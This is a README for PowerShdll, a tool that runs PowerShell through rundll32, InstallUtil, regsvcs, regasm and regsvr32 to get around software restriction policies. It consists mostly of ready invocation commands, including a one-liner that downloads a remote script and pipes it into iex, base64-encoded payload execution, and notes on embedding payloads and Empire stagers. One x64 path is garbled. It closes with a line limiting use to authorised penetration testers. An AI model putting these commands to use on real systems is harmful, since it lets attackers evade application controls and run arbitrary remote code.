
Execute o PowerShell com rundll32. Ignore as restrições de software.
Execute PowerShell apenas com dlls.
Não requer acesso ao powershell.exe, pois utiliza as dlls de automação do PowerShell.
PowerShdll pode ser executado com: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe ou como um executável autônomo.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
Payloads podem ser incorporados modificando a variável "payload" no método start do arquivo common.cs. Se um payload for incorporado, todos os outros argumentos serão ignorados e o payload será executado ao executar o PowerShdll.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Nota: Stagers do Empire precisam ser decodificados usando [System.Text.Encoding]::Unicode
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
Alguns erros não parecem aparecer na saída. Pode ser confuso, pois comandos como Import-Module não exibem um erro em caso de falha. Certifique-se de ter digitado seus comandos corretamente.
No modo dll, o modo interativo e a saída de comandos dependem do sequestro do console do processo pai. Se o processo pai não tiver um console, use a opção -n para não exibir saída, caso contrário, o aplicativo irá travar.
Devido à forma como o Rundll32 lida com argumentos, usar vários espaços entre opções e argumentos pode causar problemas. Espaços múltiplos dentro dos scripts são aceitáveis.
Este projeto é destinado a pesquisadores de segurança e testadores de penetração e deve ser usado apenas com a aprovação dos proprietários do sistema.